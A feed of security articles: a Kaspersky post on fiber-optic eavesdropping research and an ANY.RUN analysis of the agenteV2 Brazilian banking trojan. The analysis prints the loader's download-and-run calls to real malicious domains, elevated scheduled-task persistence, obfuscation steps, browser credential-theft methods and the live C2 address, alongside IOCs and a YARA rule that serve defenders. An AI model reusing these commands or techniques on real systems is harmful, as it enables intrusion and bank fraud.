The calm before the ransom: What you see is not all there is
A breach claims the systems as well as the confidence that was, in retrospect, a major vulnerability
WeLiveSecurity – Read More
A breach claims the systems as well as the confidence that was, in retrospect, a major vulnerability
WeLiveSecurity – Read More
Researchers from three universities in Hong Kong have published a paper demonstrating a method of eavesdropping through fiber-optic cables. Fiber optics have long been the gold standard for data transmission due to their ability to transfer information at high speeds over long distances. Fiber-optic cabling utilizes ultra-thin glass threads for transmission, and is widely used not only for backbone data lines but also for connecting individual premises. And as it turns out, these very glass threads are sensitive enough to vibrations that they subtly alter the parameters of the optical signal.
Potentially, this allows a fiber-optic cable to be turned into a microphone and intercept room conversations while being kilometers away from the sound source. In other words, this exploits so-called side channels — non-obvious characteristics of everyday home or office appliances that enable information leaks. Of course, this work is largely theoretical, much like other similar studies we’ve covered previously — eavesdropping through mouse sensors, using RAM modules as radio transmitters, exfiltrating data from CCTV sensors, or screen snooping through HDMI cables. However, several news outlets have reported on the Hong Kong researchers’ study as if it were a turnkey method, so let’s try to determine just how dangerous it really is in practice.
The unique characteristics of fiber-optic cables were first considered back in 2012 by Russian researchers, who conceded the theoretical possibility of such an attack. The goal of the Hong Kong researchers was to demonstrate at least some level of practical implementation for eavesdropping.
Diagram of a provider’s fiber-optic network showing the location of the attacker and the room targeted for eavesdropping. Source
The diagram above illustrates a typical FTTH (fiber-to-the-home) network architecture, where end users or organizations connect directly to a fiber-optic cable. The ISP manages the so-called Optical Distribution Network (ODN), to which end-users are connected. The device on the user’s end is called an Optical Networking Unit (ONU).
An attack leveraging this equipment is quite difficult to execute. To eavesdrop on a specific ONU endpoint, a potential adversary would need access to the provider’s infrastructure and control over the ODN equipment. What exactly is this device? It’s a network router or an optical-to-Ethernet converter — a small box usually tucked away in an office utility closet. Inside the premises, connectivity is provided either by Wi-Fi or a local network using Ethernet cabling. Crucially, the fiber-optic cable is unlikely to run directly into a sensitive area like a CEO’s office — the very place where eavesdropping would be most relevant.
Schematic representation of the eavesdropping setup on the attacker’s side. Source
And here’s a rough idea of what the attacker’s equipment would look like. Using special tech, they send optical pulses down the fiber-optic cable and measure the parameters of their transmission. Minor vibrations from footsteps in a room near the cable and nearby conversations trigger an effect known as Rayleigh scattering. This effect, in turn, causes minute deviations in the reflected signal’s parameters, which are then captured on the attacker’s end using a photosensor.
Recording the sound of footsteps in a room through a fiber-optic cable. Source
Before moving on to voice recording, the researchers decided to test a simpler scenario. To streamline the task, they ran the fiber-optic cable around the perimeter of the room and recorded footsteps — which generate significant vibration — rather than quiet conversation. This experiment was quite successful — the footsteps were audible. However, human speech proved to be far more challenging to capture. It turned out that even in laboratory conditions, intercepting a conversation between two people was impossible. To make further stages of the attack possible, the researchers assumed the presence of a bug at the fiber’s entry point into the room. This module is essentially a microphone that converts audio signals into vibrations on the optical cable. This amplifies the signal, making it possible to intercept on the attacker’s side.
But wait — if we’re talking about planting a bug in a room, why go through all the trouble with fiber optics? Why not just have the bug transmit the conversation on its own through cellular data or the building’s landline — especially since it’s already sitting right on top of it? Because there’s a distinct advantage to the researchers’ proposed attack scenario.
A regular bug transmitting audio over a cellular network or through the internet is fairly easy to detect, whereas a transmitter relaying data via fiber-optic cable vibrations can operate much more stealthily. Such a tap would be relatively easy to implant during the installation of network equipment, and harder to detect using traditional bug-sweeping tools.
Another major benefit of this hypothetical attack is that the eavesdropping can take place kilometers away from the target room — the attacker wouldn’t have to put themselves at extra risk by being near the target. Theoretically, one could also imagine a scenario where a separate fiber-optic cable is run into a room solely for surveillance purposes without raising much suspicion from those being surveilled.
If we frame the question as, “Can attackers remotely eavesdrop on any room that has fiber-optic cabling?” the answer is no; it’s still impossible. However, this work by the Hong Kong researchers, which highlights quirks of a common data transmission medium, demonstrates a technically feasible — albeit unlikely and quite expensive to execute — scenario for a targeted attack.
Kaspersky official blog – Read More
A new phishing campaign targeting Brazilian users demonstrates how modern financial malware has evolved from simple credential theft into full-scale, operator-driven fraud platforms. Disguised as a judicial summons, this campaign leverages social engineering, multi-stage malware delivery, and real-time remote access capabilities to compromise victims and actively assist attackers in financial theft.
For organizations, the implications extend beyond individual users. Employees accessing corporate systems, financial platforms, or crypto wallets from infected endpoints can unintentionally expose business-critical assets. The malware’s ability to stream screens, execute commands, and harvest credentials in real time makes it particularly dangerous for finance teams, executives, and organizations operating in or with Brazil.
This is not just phishing. It’s a live intrusion channel into financial workflows. Technical analysis below.
The malware at the heart of this campaign, agenteV2, functions as a full interactive backdoor. Once installed, it streams the victim’s screen to the attacker in real time, enabling live, operator-assisted financial fraud. A human operator watches the victim’s desktop session as it happens, waiting for a banking portal to open, and then takes direct control.
The malware targets credentials and sessions at seven major Brazilian financial institutions — Itaú, Banco do Brasil, Caixa Econômica Federal, Bradesco, Santander, Inter, and Stone — as well as five major cryptocurrency wallet extensions. It also probes host systems for the presence of specialized Brazilian anti-fraud software (Diebold Warsaw, GbPlugin), indicating deliberate, well-researched targeting of the Brazilian financial ecosystem.
1. This Is Live Financial Fraud, Not Passive Credential Theft.
Business perspective: agenteV2 establishes a persistent WebSocket backdoor with live screen streaming and a remote shell. The attacker watches the victim’s screen in real time and acts manually the moment a banking session opens. Financial losses can occur within minutes of infection, before any traditional alert fires.
Deploy ANY.RUN Interactive Sandbox to detonate suspicious email attachments in a live, controlled environment before they reach employee inboxes.
2. The Lure Is Convincing Enough to Fool Security-Aware Staff.
Business perspective: The phishing email impersonates a Brazilian federal court using a case number format indistinguishable from authentic CNJ court references. Even employees trained to spot phishing are likely to treat a realistic judicial summons as a high-priority communication requiring immediate action.
Use ANY.RUN Threat Intelligence Lookup to check suspicious email sender domains, embedded URLs, and attachment hashes instantly against a continuously updated threat intelligence database. A 10-second lookup is sufficient to surface this campaign’s known indicators.
3. The Malware Survives Reboots, IT Maintenance, and Password Resets.
Business perspective: Three separate persistence mechanisms — two Scheduled Tasks at maximum privilege and a Registry Run key — ensure the malware remains operational across reboots, routine IT maintenance, and even password changes.
ANY.RUN Threat Intelligence Feeds deliver structured IOCs directly into your SIEM and EDR for automated hunting across your entire endpoint fleet. Any host matching these indicators should be treated as actively compromised and isolated immediately.
4. Blocking the Known C2 IP Is Not Enough.
Business perspective: The malware reads its command-and-control server address from a public Pastebin page. The attacker can silently rotate to a new IP by editing a single page — without redeploying, recompiling, or redelivering any malware. IP blocklists become stale within hours of a C2 rotation.
Replace IP-based blocking with behavior-based detection. The agenteV2 TLS client fingerprint (JA3 hash)) is stable across infrastructure rotations and can be deployed as a detection rule in your IDS/NDR/EDR.
5. Traditional AV Will Not Catch This: Behavioral Analysis Is Required.
Business perspective: The core stealer DLL is compiled from Python to native machine code with Nuitka — no bytecode is extractable and standard decompilers do not apply. Files are disguised with legitimate names (wifi_driver.exe, msedge04.exe) and the payload executes entirely in memory before touching disk.
Behavioral sandbox analysis is the only reliable pre-execution detection method for Nuitka-compiled threats. The YARA rule in this report (Win_Stealer_AgenteV2_Nuitka) is deployable via ANY.RUN TI infrastructure for automated variant detection.
| Impact Area | Assessment |
| Financial Impact | Real-time operator-assisted fraud + credential theft targeting major Brazilian banks and crypto wallets |
| Scope | Brazilian users judicial lure suggests broad targeting, not spearphishing |
| Persistence | Triple persistence (Registry Run + two Scheduled Tasks /rl highest) |
| C2 Resilience | Pastebin dead-drop resolver enables rapid IP rotation without redeployment |
| Detection Difficulty | Nuitka-compiled DLL, Cloudflare proxy, legitimate-looking filenames, WebSocket C2 channel |
| RE Difficulty | Core DLL compiled to native code (Nuitka); no extractable bytecode; ~90% Nuitka boilerplate |
| Threat Classification | Interactive Banking Trojan + Infostealer persistent WebSocket backdoor with live screen streaming and remote shell |
This attack was fully analyzed in ANY.RUN’s Interactive Sandbox, which provided full visibility into the multi-stage infection chain, process trees, network connections, API traces, and registry modifications in a live, controllable Windows 11 environment.
View the phishing analysis session

The threat actor operates a well-structured infrastructure spanning phishing delivery, staged payload distribution, a Pastebin-based dead-drop resolver, and a dedicated C2 server hosted on a bulletproof VPS provider in Germany.
The final payload, internally named agenteV2, is a Python-based interactive Banking Trojan and Information Stealer whose core logic (agenteV2_historico_detect.dll) is compiled with Nuitka into native machine code.
It is not a passive fire-and-forget stealer — it establishes a persistent WebSocket backdoor (uws://) enabling live screen streaming (PIL + mss), an interactive remote shell (subprocess.Popen dispatched via CMD:SHELL: parsing), and real-time operator control over the victim session. Persistence is achieved via Registry Run key and Scheduled Tasks (/rl highest), and a Pastebin dead-drop resolver enables rapid C2 rotation without redeployment.
The campaign is delivered via email impersonating an official judicial summons from the Tribunal de Justiça do Distrito Federal (TJDF), referencing a fabricated civil conciliation hearing (case number 2194839-33.2026.8.07.1876). The case number format matches the authentic Brazilian CNJ numbering standard, increasing credibility.

| Property | Value |
| Filename | INTIMACAO JUDICIAL – Designacao de Conciliacao – Diegovolt – 2194839-33.2026.8.07.1876.eml |
| MIME Type | message/rfc822 (SMTP mail, ASCII text, CRLF line terminators) |
| MD5 | 285fea57345d838916153c4d8f43ab6c |
| SHA1 | 8a87d63110eeb782bb621b5f3154ca80bdcf5de7 |
| SHA256 | 5fd682cdfdf2de867be2a4bd378a2c206370c18a598975a11c99dba121e36b1b |
| ssdeep | 768:1wxIS5yHtOJ3GsP80Nbt0m0mxGQd5fiCJxXFAwYNBYT:KkHtbo5+mxbnVr |
| ANY.RUN Tags | attachments, attc-pdf, blind-copy, pastebin, python, nuitka, loader |
The PDF attachment requires a password to open a technique to bypass email gateway sandboxes that cannot interact with password-protected documents. Upon ‘failing’ to open, the PDF instructs the victim to download a VBS file via a ‘click here’ link, attributing the error to a missing software component. This two-step friction is deliberate: it filters unengaged recipients and increases commitment of those who proceed.
The full process tree and infection chain graph are visible in the sandbox detonation: WScript.exe → cmd.exe → schtasks + wifi_driver.exe execution flow:

The processes include malware delivery, payload delivery, persistence establishment, and more:
| Phase | Description |
|---|---|
| Delivery | Phishing email with judicial lure. Password-protected PDF attachment. Victim instructed to download VBS via embedded link. |
| Initial Execution | Victim manually executes 0124_INTMACAO_.vbs from Downloads folder. WScript.exe invoked. |
| Gate Contact | VBS contacts odaracani.online/index.php?id=3df947b3 (unique victim ID). GET returns 200; POST triggers 302 redirect. |
| Payload Landing | Redirected to nuevaprodeciencia.club/br77b/ redirect chain via cert.php → cord.php → download.php → arquivos/download.php?id_*. |
| Payload Download | VBS uses MSXML2.ServerXMLHTTP.6.0 + ADODB.Stream to download reiniciar.exe (~6.4 MB) and wifi_driver.exe (~12.6 MB, served as msedge04.exe). |
| Installation | Payloads written to C:Program Files (x86)Wi-fi masquerading as Wi-Fi driver components. |
| Persistence | Two Scheduled Tasks created via cmd.exe: RunAsAdmin_AutoUpdate and RunAsAdmin_Executar both /sc onlogon /rl highest. |
| UAC Bypass | VBS re-executes with arguments /elevated /fromtask to gain elevated privileges without a UAC prompt. |
| Initial Beacon | VBS calls IWshShell3.Run() on nuevaprodeciencia.club/br77b/iayjaskyeiagds.php first checkin triggered directly from loader. |
| C2 Resolution | wifi_driver.exe (container) loads agenteV2_historico_detect.dll, which reads Pastebin dead-drop (pastebin.com/raw/0RmxqY57) to resolve real C2: 38.242.246.176:8443. |
| C2 Beaconing | agenteV2 beacons to C2 every ~60 seconds over TLS/8443. 524 bytes sent / ~1 KB received per cycle. Stealer module active. |
The following sequence was reconstructed from the ANY.RUN script API trace, showing the exact execution order of COM object calls:

Phase 1 reiniciar.exe download and persistence (~13 seconds post-execution):
IServerXMLHTTPRequest2.Open('GET', 'https://nuevaprodeciencia.club/br77b/arquivos/download/reiniciar.exe', False)
IServerXMLHTTPRequest2.Send() -> HTTP 200 OK
ADODB.Stream.Type = 1 (binary)
ADODB.Stream.Write(ResponseBody) -> VT_ARRAY
ADODB.Stream.SaveToFile('C:Program Files (x86)Wi-fireiniciar.exe', 2)
IWshShell3.Run('cmd.exe /c schtasks /create /f /tn "RunAsAdmin_Executar" ...reiniciar.exe... /sc onlogon /rl highest', 0, False)
Phase 2 wifi_driver.exe download, persistence and initial beacon (~22–29 seconds):
IServerXMLHTTPRequest2.Open('GET', 'https://nuevaprodeciencia.club/br77b/arquivos/download/msedge04.exe', False)
IServerXMLHTTPRequest2.Send() -> HTTP 200 OK
ADODB.Stream.SaveToFile('C:Program Files (x86)Wi-fiwifi_driver.exe', 2)
IWshShell3.Run('"C:Program Files (x86)Wi-fiwifi_driver.exe"', 1, False) // executed twice
WScript.Sleep(3000)
IWshShell3.Run('cmd.exe /c schtasks /create /f /tn "RunAsAdmin_AutoUpdate" ...wifi_driver.exe... /sc onlogon /rl highest', 0, False)
IWshShell3.Run('https://nuevaprodeciencia.club/br77b/iayjaskyeiagds.php', 1, False) // initial C2 beacon
Key observations:
The VBS loader implements a multi-layer obfuscation pipeline that decodes and executes a secondary payload entirely in memory. Despite its apparent complexity, the mechanism is fully deterministic and reversible — all decoding logic, keys, and transformations are self-contained in the script, with no external dependencies or dynamic key generation.
The two on-disk forms confirm runtime deobfuscation:
C:UsersadminDownloads124_INTMACAO_.vbs (16,739 bytes — obfuscated, as delivered)
C:UsersadminAppDataLocalTemp124_INTMACAO_.vbs (140,302 bytes — fully decoded runtime copy)
The ~8.4x expansion factor is explained by the encoding pipeline described below.
The encoded payload is stored as a large string built via repeated concatenation:
tEXXKcvxSM = tEXXKcvxSM & "<chunk>"
This pattern avoids signature-based detection of long static strings, prevents straightforward extraction, and obscures the actual payload size. It is a common technique in commodity VBS loaders.

Three transformation functions are applied in sequence before the payload is executed:
| Function | Technique | Security Value |
|---|---|---|
| AqBVqmjYfY (x3) | Triple Base64 decode via MSXML2.DOMDocument (bin.base64) | Low — trivially reversible |
| YnrbBGjUXH | Hexadecimal decode — Chr(CInt(“&H” & Mid(h, i, 2))) | Low — simple hex-to-bytes |
| obmFYHGTeJ | Custom byte transform — Vigenere-like modular subtraction with hardcoded key array | Low-Medium — broken by embedded keys |
Step 1 — Triple Base64 Decoding. The function AqBVqmjYfY wraps the MSXML2.DOMDocument COM object to perform Base64 decoding. It is called three consecutive times, nesting the calls:
b = AqBVqmjYfY(AqBVqmjYfY(AqBVqmjYfY(b)))
Triple-encoding increases entropy and defeats naive single-pass decoders, but provides no cryptographic security — each layer is independently and trivially reversible.
Step 2 — Hexadecimal Decoding. The function YnrbBGjUXH converts the Base64-decoded output from a hex-encoded byte stream into raw bytes:
Chr(CInt("&H" & Mid(h, i, 2)))
This confirms the intermediate payload is stored as a hex string, adding one further layer of visual obfuscation over the Base64 output.
Step 3 — Custom Byte Transformation (Pseudo-Encryption). The function obmFYHGTeJ is the core obfuscation layer. It applies a Vigenere-like modular subtraction cipher using a hardcoded array of multiple keys:
keys = Array("xsTqWN3wxwsA", "Bydpez94dTlZ", ...)
For each byte, the routine iterates through all keys in reverse order and applies:
ch = (ch - keyByte + 256) Mod 256
This is similar to a repeated-key XOR/Vigenere cipher. It is not cryptographically secure — the keys are hardcoded in the script, the transformation is deterministic, and the decoding pipeline is fully reproducible offline. The critical weakness is that all key material is embedded in the script itself.
After the three-stage decoding, the final payload is executed directly in memory without writing any intermediate artifact to disk:
Execute obmFYHGTeJ(tEXXKcvxSM)
This fileless execution pattern means the next stage never touches the filesystem in decoded form, evading file-based AV scanning. The decoded payload can be recovered by inserting a logging hook at the Execute call or by running the decoding pipeline offline with the extracted keys.
| Obfuscation Technique | Effectiveness | Notes |
|---|---|---|
| Triple Base64 | Low | Three independent reversible layers — no key material required |
| Hex encoding | Low | Simple Chr/Mid conversion — standard textbook technique |
| Custom byte transform | Low-Medium | Vigenere-like cipher with good structural complexity |
| Hardcoded key array | Critical weakness | All keys embedded in script — full offline decryption possible |
| String concatenation | Low | Defeats naive string grep but not dynamic analysis |
| In-memory execution | Medium | Evades file-based AV; recoverable via memory dump or hook |
Overall assessment: the obfuscation chain is consistent with the use of publicly available VBS templates or tutorials. The layered approach demonstrates awareness of basic detection mechanisms but no understanding of cryptographic security. The presence of hardcoded keys and deterministic transformations makes full offline payload recovery straightforward for any analyst with access to the script.
The payload follows a two-component architecture: a lightweight container executable (wifi_driver.exe) and the actual malicious module (agenteV2_historico_detect.dll). These roles must not be confused only the DLL contains malicious logic.
| Component | File | Size | Role |
|---|---|---|---|
| Container / Bootloader | wifi_driver.exe | ~12.6 MB | Onefile bundle extracts Python runtime + DLL, then loads and executes the stealer DLL |
| Core Stealer Module | agenteV2_historico_detect.dll | ~27 MB | All malicious logic: C2 resolution, browser credential theft, screen capture, persistence |
wifi_driver.exe Container/Bootloader
wifi_driver.exe is a self-contained onefile bundle (PyInstaller or Nuitka container mode). It contains no malicious logic of its own. Its sole purpose is to:

wifi_driver.exe is a self-contained onefile bundle (PyInstaller or Nuitka container mode). It contains no malicious logic of its own. Its sole purpose is to:
Reverse engineering path for wifi_driver.exe:
Extracted runtime components dropped to Temponefile_<PID> by wifi_driver.exe:
| File | Size | Purpose |
|---|---|---|
| python313.dll | 6 MB | Python 3.13 interpreter main runtime |
| python3.dll | 72 KB | Python stable ABI shim |
| vcruntime140.dll | 118 KB | MSVC runtime (C++ support) |
| libcrypto-3.dll | 5 MB | OpenSSL crypto TLS for C2 comms |
| libssl-3.dll | 776 KB | OpenSSL TLS encrypted C2 channel |
| sqlite3.dll | 2 MB | SQLite engine reading browser credential DBs |
| _sqlite3.pyd | 128 KB | Python SQLite bindings |
| PIL/_imaging.pyd | 2 MB | Pillow core screen capture |
| PIL/_imagingcms.pyd | 264 KB | Pillow CMS image processing |
| psutil/_psutil_windows.pyd | 69 KB | Process enumeration kill browsers before DB access, anti-VM checks |
| _wmi.pyd | 39 KB | WMI bindings system fingerprinting (UUID, hostname, OS version) |
| _ssl.pyd | 178 KB | Python SSL bindings HTTPS for C2/Pastebin |
| certifi/cacert.pem | 266 KB | Trusted CA bundle validates Pastebin and C2 TLS certs |
| charset_normalizer/*.pyd | 22 KB | Text encoding detection handles multi-encoding victim data |
| 81d243bd__mypyc.pyd | 205 KB | mypyc-compiled auxiliary module additional compilation layer |
| agenteV2_historico_detect.dll | 27 MB | Complete CORE STEALER malicious logic |
agenteV2_historico_detect.dll Core Stealer (Nuitka)

This DLL is the analytical target it contains all malicious logic. The original Python source was compiled with Nuitka (Python → C++ → native machine code), producing a monolithic 27 MB PE DLL with no extractable bytecode. pyinstxtractor and uncompyle6 do not apply here.
| Property | Value |
|---|---|
| Compiler | Nuitka (Python → C++ → native machine code) |
| File Size | 27,430,848 bytes (~27 MB) statically linked dependencies + Nuitka runtime bloat |
| MD5 | 826d6350724f203b911aa6c8c4626391 |
| Bytecode | None not extractable; full native RE required (IDA Pro / Ghidra) |
| RE Difficulty | High ~90% of code is Nuitka boilerplate + CPython internals; malicious logic is a small fraction |
| Classification | Interactive Banking Trojan + Information Stealer not a passive exfiltrator |
| Name (internal) | agenteV2 ‘V2’ implies prior version in circulation; active development confirmed |
| OpSec quality | Poor verbose debug strings, original variable/function names, and cleartext URLs left intact |
Despite robust Nuitka compilation, the threat actor failed to strip debug symbols, variable names, and cleartext strings from the binary exposing the full execution flow via static .rdata analysis. This is a recurring pattern in Brazilian malware: technically capable packaging decisions paired with poor operational security discipline.
Core Capabilities (Reconstructed from Static + Dynamic Analysis):

The malware does not hardcode the C2 address. It queries a Pastebin URL to dynamically retrieve the active C2 IP and port, enabling infrastructure rotation without redeployment:
Dead-Drop URL: https://pastebin.com/raw/0RmxqY57
Resolved C2: 38.242.246.176:8443
| String (.rdata) | Address | Role |
|---|---|---|
| a PASTEBIN_URL | 0x1812987ED | Variable storing the dead-drop URL |
| https://pastebin.com/raw/0RmxqY57 | 0x1812993F0 | Hardcoded Pastebin raw URL |
| Busca IP e Porta Base do Pastebin. Retorna (ip, port) ou None | 0x18129889B | Resolver function docstring returns (ip, port) tuple |
| Erro: Porta no pastebin n… | 0x18129884C | Error handler: malformed port in Pastebin content |
| Erro ao ler Pastebin: | 0x181298881 | Error handler: Pastebin fetch failure |
Unlike typical stealers that perform a single HTTP POST exfiltration and terminate, agenteV2 establishes a persistent WebSocket connection (uws:// scheme) to the C2. This architecture enables real-time, bidirectional communication making it function as a full interactive backdoor rather than a passive stealer:
This design is optimized for manual, real-time financial fraud. The operator can watch the victim’s screen, interact with open banking sessions, and issue commands on the fly.

The stealer targets all Chromium-based browsers (Chrome, Edge, Brave, Opera) across all user profiles. To bypass the SQLite file lock maintained by running browsers, it uses shutil.copyfile to duplicate the target database files into %TEMP% before executing SQL SELECT queries:
Target files: Login Data, Cookies, History
Method: shutil.copyfile(src, %TEMP%<random>) → sqlite3.connect(copy) → SELECT * FROM logins
| String (.rdata) | Address | Capability |
|---|---|---|
| Varre todos os perfis de navegadores e busca Inter/Stone no disco | 0x18129845A | Scans all browser profiles for Inter and Stone bank data |
| clonando o banco para ler mesmo se aberto | 0x181298976D | Explicit DB cloning to bypass file lock while browser is running |
The malware proactively profiles the host for regional anti-fraud and endpoint protection solutions before proceeding with credential theft a strong indicator of deliberate LATAM targeting:
Detection of these solutions likely influences the malware’s behavior (evasion, delayed execution, or alternate attack paths).

agenteV2 is not a passive, fire-and-forget stealer. It is a purpose-built interactive agent designed for real-time manual financial fraud in the Brazilian market. The WebSocket architecture, live screen streaming, and remote shell capability are consistent with an operator-assisted attack flow: the threat actor watches the victim’s screen in real time, waits for a banking session to open, and interacts directly.
The Nuitka compilation demonstrates meaningful anti-analysis effort; however, the failure to strip debug strings, variable names, and cleartext URLs reveals the full implementation to any analyst with access to the binary a significant OpSec failure that partially undermines the obfuscation investment.
The payload establishes a third persistence layer independently of the VBS loader:
Registry: HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun
Value: MonitorSystem
Data: C:UsersadminAppDataLocalTempONEFIL~1agenteV2_historico_detect.py
Note: the Registry Run value points to a .py file in %TEMP% this assumes either Python is installed and registered as a handler for .py files on the victim machine, or represents an implementation error by the threat actor (a common characteristic of amateur-but-functional malware). The name ‘MonitorSystem’ is social engineering for any victim who opens regedit.

agenteV2 does not hardcode the C2 IP. Instead, it implements a Pastebin-based dead-drop resolver allowing the threat actor to rotate C2 infrastructure without recompiling or redelivering the malware:

The resolver (documented in DLL strings as ‘Busca IP e Porta Base do Pastebin. Retorna (ip, port) ou None’) parses the Pastebin content to extract the IP and port as a tuple, with explicit error handling for fetch failures and malformed content.
| Parameter | Value |
|---|---|
| Beacon interval | ~60 seconds (observed timestamps: +587ms, +61334ms, +121688ms, +182127ms, +242703ms…) |
| Bytes sent | 524 bytes per beacon (fixed size structured check-in payload) |
| Bytes received | ~1 KB per beacon (task/command response) |
| Transport | TCP/TLS port 8443 |
| Pastebin proxy | 172.66.171.73:443 (Cloudflare used only for Pastebin resolution, not C2) |
| Real C2 | 38.242.246.176:8443 (Contabo VPS, Düsseldorf, Germany) |

| Fingerprint | Value |
|---|---|
| JA3 | a48c0d5f95b1ef98f560f324fd275da1 |
| JA3 Full | 771,4866-4867-4865-49196-49200-49195-49199-52393-52392-49188-49192-49187-49191-159-158-107-103-255,0-11-10-16-22-23-49-13-43-45-51-21,29-23-30-25-24-256-257-258-259-260,0-1-2 |
| JA3S | 15af977ce25de452b96affa2addb1036 |
| JA3S Full | 771,4866,43-51 |
| JARM | 00000000000000000000000000000000000000000000000000000000000000 (Cloudflare/Pastebin proxy not C2 fingerprint) |
The JA3 hash (a48c0d5f95b1ef98f560f324fd275da1) can be used as a network detection rule it will match agenteV2’s TLS ClientHello regardless of C2 IP rotation.

| Role | Asset | Details |
|---|---|---|
| Phishing Gate / Tracker | odaracani[.]online | Per-victim unique ID tracking (?id=3df947b3). POST → 302 redirect to payload server. IP: 69.49.241.120 |
| Payload Distribution | nuevaprodeciencia[.]club | Hosts all EXE payloads (/br77b/arquivos/download/). C2 checkin endpoint (iayjaskyeiagds.php). IP: 69.49.241.120 |
| Shared Delivery IP | 69[.]49.241[.]120 | Both delivery domains resolve to this single IP single hosting point for Stage 1/2 infrastructure |
| Dead-Drop Resolver | pastebin[.]com/raw/0RmxqY57 | Public Pastebin page containing plaintext C2 IP:port. Accessed via Cloudflare (172.66.171.73:443) |
| Real C2 Server | 38[.]242.246[.]176:8443 | Contabo GmbH VPS. Hostname: vmi3003111.contaboserver.net. Hestia Control Panel on :8083 |
| C2 ASN | AS51167 Contabo GmbH | Düsseldorf, Germany. Frequently abused by threat actors for permissive abuse handling |
| Property | Value |
|---|---|
| IP | 38.242.246.176 |
| Hostname | vmi3003111.contaboserver.net |
| ASN | AS51167 Contabo GmbH |
| Country | Germany (Düsseldorf) |
| Control Panel | Hestia Control Panel port 8083 (nginx, HTTP 200 OK, active session) |
| Open Ports | 21 (FTP), 22 (SSH), 25/465/587 (SMTP), 53 (DNS), 80/443 (HTTP/S), 8083 (Hestia), 8443 (C2) |
| SMTP ports | 25, 465, 587 strongly suggests phishing emails dispatched from this same VPS |
The Hestia Control Panel on port 8083 indicates the threat actor self-manages this server rather than using a hosting reseller. The presence of active SMTP ports alongside the C2 port strongly suggests this VPS serves as an all-in-one campaign platform: phishing email dispatch, payload hosting management, and C2 handling.
Use YARA rule search in TI Lookup:

The rule:
rule Win_Stealer_AgenteV2_Nuitka {
meta:
description = "Core Banker Stealer Nuitka Compiled"
author = "0xOlympus"
reference = "Analise de Campanha Judicial"
date = "2026-03-19"
severity = "Critical"
strings:
// Nuitka Artifcats
$n1 = "NUITKA_PACKAGE_HOME" ascii
$n2 = "__nuitka_binary_dir" ascii
// Strings from report
$s1 = "agenteV2_historico_detect.dll" ascii wide
$s2 = "wifi_driver.exe" ascii wide
$s3 = "reiniciar.exe" ascii wide
// C2 protocol
$c2 = "uws://" ascii
condition:
uint16(0) == 0x5A4D and (all of ($n*) and 2 of ($s*)) or ($c2)
}
Verify the presence of active compromise indicators:
schtasks /query /tn "RunAsAdmin_AutoUpdate"
schtasks /query /tn "RunAsAdmin_Executar"
reg query "HKCUSoftwareMicrosoftWindowsCurrentVersionRun" /v MonitorSystem dir "C:Program Files (x86)Wi-fi"
Proactive intelligence on this campaign and similar threats can be operationalized using ANY.RUN’s Threat Intelligence suite:
Security decision-makers evaluating their defensive posture against threats like agenteV2 face three compounding problems: the attack surface is broad (any employee in Brazil is a potential victim), the time-to-fraud is measured in minutes (not days), and the attacker’s tooling actively resists the tools most organizations currently deploy. The question is not whether a more capable threat intelligence and analysis platform is needed. It is whether the cost of that platform is lower than the cost of a single successful fraud event.
Based on the capabilities demonstrated in this campaign, the answer is unambiguous. A single successful agenteV2 infection gives an attacker live visibility into an employee’s banking session, the ability to issue commands through a remote shell, and persistence that survives the endpoint until it is explicitly cleaned. The financial exposure from a single operator-assisted fraud event, combined with the credential exfiltration across all browser profiles, will in most cases far exceed the annual cost of enterprise-grade behavioral analysis and threat intelligence.
ANY.RUN Enterprise Suit addresses each failure mode this campaign is designed to exploit:
The agenteV2 operators have invested meaningfully in their tooling. The organizations they target deserve to match that investment — with a platform built for the reality of modern, operator-assisted financial fraud rather than the commodity threats of five years ago.
This campaign is a vivid reminder that phishing has outgrown its old role as a simple delivery mechanism. It now acts as a gateway to interactive, real-time financial compromise, where attackers don’t just steal data, they participate in the victim’s actions like an invisible co-pilot with bad intentions.
For businesses, the risk is no longer limited to credential leakage. When malware enables live screen monitoring, remote command execution, and direct interaction with financial sessions, the impact shifts to immediate financial loss, operational disruption, and reputational damage. Finance teams, executives, and any employees handling sensitive transactions become prime targets.
Defending against this class of threats requires more than static detection. Organizations need visibility into behavior, speed in investigation, and context for decision-making.
This is where a combined approach becomes critical:
Together, these capabilities transform security from reactive firefighting into controlled, informed response.
In a landscape where attackers operate in real time, businesses must do the same.
ANY.RUN, a leading provider of interactive malware analysis and threat intelligence solutions, helps security teams investigate threats faster and with greater clarity across modern enterprise environments.
It allows teams to safely execute suspicious files and URLs, observe real behavior in an Interactive Sandbox, enrich indicators with immediate context through TI Lookup, and monitor emerging malicious infrastructure using Threat Intelligence Feeds. Together, these capabilities help reduce investigation uncertainty, accelerate triage, and limit unnecessary escalations across the SOC.
ANY.RUN is trusted by thousands of organizations worldwide and meets enterprise security and compliance expectations. It is SOC 2 Type II certified, demonstrating its commitment to protecting customer data and maintaining strong security controls.
| Algorithm | Hash | File |
|---|---|---|
| MD5 | 285fea57345d838916153c4d8f43ab6c | intimacaojudicial.eml (initial sample) |
| SHA1 | 8a87d63110eeb782bb621b5f3154ca80bdcf5de7 | intimacaojudicial.eml |
| SHA256 | 5fd682cdfdf2de867be2a4bd378a2c206370c18a598975a11c99dba121e36b1b | intimacaojudicial.eml |
| ssdeep | 768:1wxIS5yHtOJ3GsP80Nbt0m0mxGQd5fiCJxXFAwYNBYT:KkHtbo5+mxbnVr | intimacaojudicial.eml |
| MD5 | 826d6350724f203b911aa6c8c4626391 | agenteV2_historico_detect.dll (core stealer) |
| Indicator | Type | Reputation | Role |
|---|---|---|---|
| odaracani.online | Domain | Malicious | Phishing gate per-victim unique tracker |
| nuevaprodeciencia.club | Domain | Malicious | Payload distribution + C2 checkin endpoint |
| 69.49.241.120 | IP | Malicious | Shared IP for both delivery domains |
| 38.242.246.176 | IP | Malicious | Real C2 server (Contabo VPS, Germany) |
| vmi3003111.contaboserver.net | FQDN | Malicious | C2 server hostname |
| 172.66.171.73 | IP | Suspicious | Cloudflare proxy for Pastebin not directly malicious |
| pastebin.com/raw/0RmxqY57 | URL | Malicious | Dead-drop resolver contains plaintext C2 IP:port |
| URL | Function |
|---|---|
| https://odaracani.online/index.php?id=3df947b3 | Gate unique per-victim tracking ID |
| https://nuevaprodeciencia.club/cert.php | Redirect chain step 1 |
| https://nuevaprodeciencia.club/cord.php | Redirect chain step 2 |
| https://nuevaprodeciencia.club/br77b/download.php | Redirect to payload landing |
| https://nuevaprodeciencia.club/br77b/arquivos/download.php?id_69bb7d47c15e9 | Payload landing page |
